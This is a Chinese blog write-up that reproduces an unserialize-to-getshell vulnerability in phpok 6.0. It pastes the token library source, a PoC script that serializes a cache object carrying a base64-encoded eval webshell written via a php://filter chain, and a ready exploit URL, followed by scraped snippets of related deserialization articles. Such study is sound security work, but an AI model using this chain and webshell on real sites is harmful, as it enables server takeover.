代码编织梦想

0x00 前言

西湖线下的phpok6.0
后面才知道是个0day
已知poc形式
admin.php
控制器为login
方法为update
其余参数:
fid=…/index
fcode=shell
quickcode=………
看页面回显似反序列化漏洞,可写入webshell

参考suanve师傅的文章做个复现
phpok6.0前台反序列化getshell
师傅的这篇和主办方的利用点有点小区别
一个是利用

$this->lib('file')->vim($this->lib('json')->encode($data),$this->dir_cache.$fid.'-'.$fcode.'.php');

suanve师傅用的是

$msg = $this->lib('token')->decode($quickcode);

看上去后者更ez一点

0x01 brain.md

开始前排个坑,中间件建议用nginx
用phpstudy2018的apache时 只生成一个空文件…

捋一下框架

_init_phpok.php 框架核心
找到控制器以及方法的变量名
在这里插入图片描述
在这里插入图片描述

跟进到model下的url.php
在这里插入图片描述
到这确定c是控制器,f是方法
在这里插入图片描述
进到 framework/admin/login_control.php
通过poc形式可知对quickcode进行了反序列化
在这里插入图片描述

跟进decode函数
在这里插入图片描述

贴一下framework/libs/token.php源码

<?php
/**
 * 加密及解密(支持两种模式,RSA 和 Token 模式)
 * @作者 苏相锟 <admin@phpok.com>
 * @版权 深圳市锟铻科技有限公司 / 苏相锟
 * @主页 https://www.phpok.com
 * @版本 5.x
 * @授权 GNU Lesser General Public License  https://www.phpok.com/lgpl.html
 * @时间 2020年12月21日
**/


/**
 * 安全限制,防止直接访问
**/
// if(!defined("PHPOK_SET")){
// 	exit("<h1>Access Denied</h1>");
// }

class token_lib
{
	private $keyid = '';
	private $keyc_length = 6;
	private $keya;
	private $keyb;
	private $time;
	private $expiry = 3600;
	private $encode_type = 'api_code'; //仅支持 api_code 和 public_key
	private $public_key = '';
	private $private_key = '';
	
	public function __construct()
	{
		$this->time = time();
	}


	public function etype($type="")
	{
		if($type && in_array($type,array('api_code','public_key'))){
			$this->encode_type = $type;
		}
		return $this->encode_type;
	}

	public function public_key($key='')
	{
		if($key){
			$this->public_key = $key;
		}
		return $this->public_key;
	}

	public function private_key($key='')
	{
		if($key){
			$this->private_key = $key;
		}
		return $this->private_key;
	}

	/**
	 * 自定义密钥
	 * @参数 $keyid 密钥内容
	**/
	public function keyid($keyid='')
	{
		if(!$keyid){
			return $this->keyid;
		}
		$this->keyid = strtolower(md5($keyid));
		$this->config();
		return $this->keyid;
	}

	private function config()
	{
		if(!$this->keyid){
			return false;
		}
		$this->keya = md5(substr($this->keyid, 0, 16));
		$this->keyb = md5(substr($this->keyid, 16, 16));
	}

	/**
	 * 设置超时
	 * @参数 $time 超时时间,单位是秒
	**/
	public function expiry($time=0)
	{
		if($time && $time > 0){
			$this->expiry = $time;
		}
		return $this->expiry;
	}

	/**
	 * 加密数据
	 * @参数 $string 要加密的数据,数组或字符
	**/
	public function encode($string)
	{
		if($this->encode_type == 'public_key'){
			return $this->encode_rsa($string);
		}
		if(!$this->keyid){
			return false;
		}
		$string = serialize($string);
		$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
		$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;	
		$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
		$cryptkey = $this->keya.md5($this->keya.$keyc);
		$rs = $this->core($string,$cryptkey);
		return $keyc.str_replace('=', '', base64_encode($rs));
	}

	/**
	 * 基于公钥加密
	**/
	private function encode_rsa($string)
	{
		if(!$this->public_key){
			return false;
		}
		$string = serialize($string);
		$crypto = '';
		$tlist = str_split($string,117);
		foreach($tlist as $key=>$value){
			openssl_public_encrypt($value,$data,$this->public_key);
			$crypto .= $data;
		}
		return base64_encode($crypto);
	}

	/**
	 * 解密
	 * @参数 $string 要解密的字串
	**/
	public function decode($string)
	{
		if($this->encode_type == 'public_key'){
			return $this->decode_rsa($string);
		}
		if(!$this->keyid){
			return false;
		}
		$string = str_replace(' ','+',$string);
		$keyc = substr($string, 0, $this->keyc_length);
		$string = base64_decode(substr($string, $this->keyc_length));
		$cryptkey = $this->keya.md5($this->keya.$keyc);
		$rs = $this->core($string,$cryptkey);
		$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
		if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
			$info = substr($rs, 26);
			return unserialize($info);
		}
		return false;
	}

	/**
	 * 基于私钥解密
	**/
	public function decode_rsa($string)
	{
		if(!$this->private_key){
			return false;
		}
		$crypto = '';
		$tlist = str_split(base64_decode($string),128);
		foreach($tlist as $key=>$value){
			openssl_private_decrypt($value,$data,$this->private_key);
			$crypto .= $data;
		}
		if($crypto){
			return unserialize($crypto);
		}
		return false;
	}

	private function core($string,$cryptkey)
	{
		$key_length = strlen($cryptkey);
		$string_length = strlen($string);
		$result = '';
		$box = range(0, 255);
		$rndkey = array();
		// 产生密匙簿
		for($i = 0; $i <= 255; $i++){
			$rndkey[$i] = ord($cryptkey[$i % $key_length]);
		}
		// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
		for($j = $i = 0; $i < 256; $i++){
			$j = ($j + $box[$i] + $rndkey[$i]) % 256;
			$tmp = $box[$i];
			$box[$i] = $box[$j];
			$box[$j] = $tmp;
		}
		// 核心加解密部分
		for($a = $j = $i = 0; $i < $string_length; $i++){
			$a = ($a + 1) % 256;
			$j = ($j + $box[$a]) % 256;
			$tmp = $box[$a];
			$box[$a] = $box[$j];
			$box[$j] = $tmp;
			$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
		}
		return $result;
	}
}

encode与decode相对应
寻找可利用对象
一般都是析构函数 __destruct
发现cache类的save函数可以进行文件写入
在这里插入图片描述

在这里插入图片描述
poc链形成

poc浅析

为了使webshell成功写入 我们需要将前面的exit转化掉
可以使用base64编码形式写入(第一次用到写链…

在这里插入图片描述
在content首部填充垃圾字符即可使shell正常
在这里插入图片描述在这里插入图片描述
贴一下suanve师傅的poc
token和file复制到根目录

<?php

require  "./token.php";
require  "./file.php";

class cache{
    protected $key_id='suanve';
    protected $key_list='aaaaaIDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+';
    protected $folder='php://filter/write=string.strip_tags|convert.base64-decode/resource=';
}


$token = new token_lib();
$file = new file_lib();
$keyid = $file->cat("./index.php");
$token->keyid($keyid);

echo $token->encode(new cache());

动调一下poc(小bug

http://127.0.0.1/6.0/admin.php?c=login&f=update&fid=…/index&fcode=suanve&quickcode=044be0Wl0Zhuej94cAGP2YKQR611Mpx/VJYpW2opb/Bkky1lQ5it1oLa4G7Q98Lq/f/MGORX0gKnIupdOIAHolkZHP3ekFKOPKo47WFJq2l+I6CurwPjPh8BqAJtJcRsS0kyigHLn7ZQe/7c/4z9H3mKmR5pTXvGShukRkGhKXN6TXXOSrlv+IAr16JMfWpBR86959A5y60TG4C3KOhXO4g/uFgthBWbTesC8jfC4Vj+zaGugUHUNsHKzc54vASq/tZP48sulGPtL3cRqwCAciZrNVIibONY0ypDEbjDfd2s6OW6Fl4KSN3+RiR6r46Q

打poc的时候下个断点在反序列化处
看一下几个调用栈
此处$fid --> $file 作用为 验证文件是否存在 并作为密钥使用
fcode参数存在即可
在这里插入图片描述
再看 token_lib ->decode
在这里插入图片描述

$info="O:5:"cache":3:{s:9:"*key_id";s:6:"suanve";s:11:"*key_list";s:45:"aaaaaIDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+";s:9:"*folder";s:68:"php://filter/write=string.strip_tags|convert.base64-decode/resource=";}"

之后虽然生成了shell文件但是目录却在COM下面…
在这里插入图片描述

换个save函数处下断点进行排错
注意进行单步跳出,第一次拦截到的并非我们的poc(cache被网站自身加载
参数皆正常
在这里插入图片描述
很可惜最后没有找到原因(有师傅懂得可以斧正一下
但过程基本捋了一遍

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_45751765/article/details/123629577

Typecho v1.1反序列化前台getshell漏洞分析-爱代码爱编程

前言 什么是反序列化漏洞? PHP反序列化漏洞是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成任意文件读取、代码执行、getshell等一系列不可控的严重后果。反序列化漏洞并不是PHP特有,也存在于Java

php反序列化漏洞 freebuf,Typecho反序列化漏洞导致前台getshell-爱代码爱编程

*本文原创作者:VIPKID安全团队,本文属FreeBuf原创奖励计划,未经许可禁止转载 最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下: 然后果断在文件第一行加上了die: 今天下午刚好空闲下来,就赶

调用链 php,ThinkPHP5.1.x反序列化调用链复现分析-爱代码爱编程

1.    前言 最近研究了phpok5.3反序列化可直接getshell的漏洞,又见到土司里对ThinkPHP多个版本调用链的总结,于是便想着来复现分析一下。本文只是对反序列化调用链的分析,POC并不能直接被利用,需要基于ThinkPHP开发的代码有可用的反序列化入口。 2.   反序列化调用链分析 通常PHP反序列化的漏洞的入口为类的魔术方法

ok php漏洞,php反序列化漏洞复现过程-爱代码爱编程

PHP反序列化漏洞复现 测试代码 我们运行以上代码文件,来证明函数被调用: 应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都被调用,如果这些函数里面包含的是恶意代码会怎么样呢? 利用场景 __wakeup() 或__destruct() 由前可以看到,uns

%3c php i=1%3e,对PHPOK的一次审计-爱代码爱编程

前言 前些天看了一下PHPOK,发现了一个前台getshell,没想到第二天更新了V5.4把漏洞给修了。于是又审计了一下,发现一处新的getshell,在这里分享一下这两个漏洞。 V5.3的getshell 先简单的说一下PHPOK对控制器调用的规则 index.php admin.php api.php 分别对应 framework文件夹

长安“战疫”网络安全赛-wp-爱代码爱编程

长安“战疫”网络安全赛-wp Webtpshiro?Baby_Uploadflag配送中心flaskRCE_No_ParaCryptono_can_no_bbmathLinearEquationsno_mah_no_cryno_cry_no_canMiscez_Encryptbinary西安加油Ez Steg八卦迷宫无字天书朴实无华的取证Rever